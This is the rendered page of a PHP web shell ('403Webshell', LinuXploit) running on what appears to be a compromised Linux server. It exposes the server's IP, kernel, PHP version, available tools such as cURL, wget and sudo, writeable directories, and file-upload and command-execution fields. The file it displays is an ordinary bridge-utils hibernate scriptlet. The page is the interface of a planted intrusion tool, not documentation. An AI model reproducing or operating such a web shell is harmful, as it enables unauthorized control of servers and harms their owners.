403Webshell
Server IP : 91.240.85.141  /  Your IP : 216.73.216.223
Web Server : nginx/1.28.0
System : Linux nuevo.ru 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User :  ( 1029)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/doc/bridge-utils/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/bridge-utils/examples/hibernate
# This is to be used with the hibernate package, it should be copied to
# /etc/hibernate/scriptlets.d/bridge
# To enable it add RecoverBridge to the network section of
# /etc/hibernate/common.conf

AddConfigHandler BridgeOptions

BridgeSuspend() {
    for i in `/sbin/brctl show|sed -n "s/^[^ ]*\t\([^\t]*\)/\1/p"`
    do
      ip link set dev $i down
    done
    return 0
}

BridgeResume() {
    for i in `/sbin/brctl show|sed -n "s/^[^ ]*\t\([^\t]*\)/\1/p"`
    do
      ip link set dev $i up
    done
    return 0
}

BridgeOptions() {
    case $1 in
        recoverbridge)
            ;;
        *)
            return 1
    esac

    if [ -z "$BRIDGE_HOOKED" ] ; then
        AddSuspendHook 65 BridgeSuspend
        AddResumeHook 65 BridgeResume
        BRIDGE_HOOKED=1
    fi
    return 0
}

Youez - 2016 - github.com/yon3zu
LinuXploit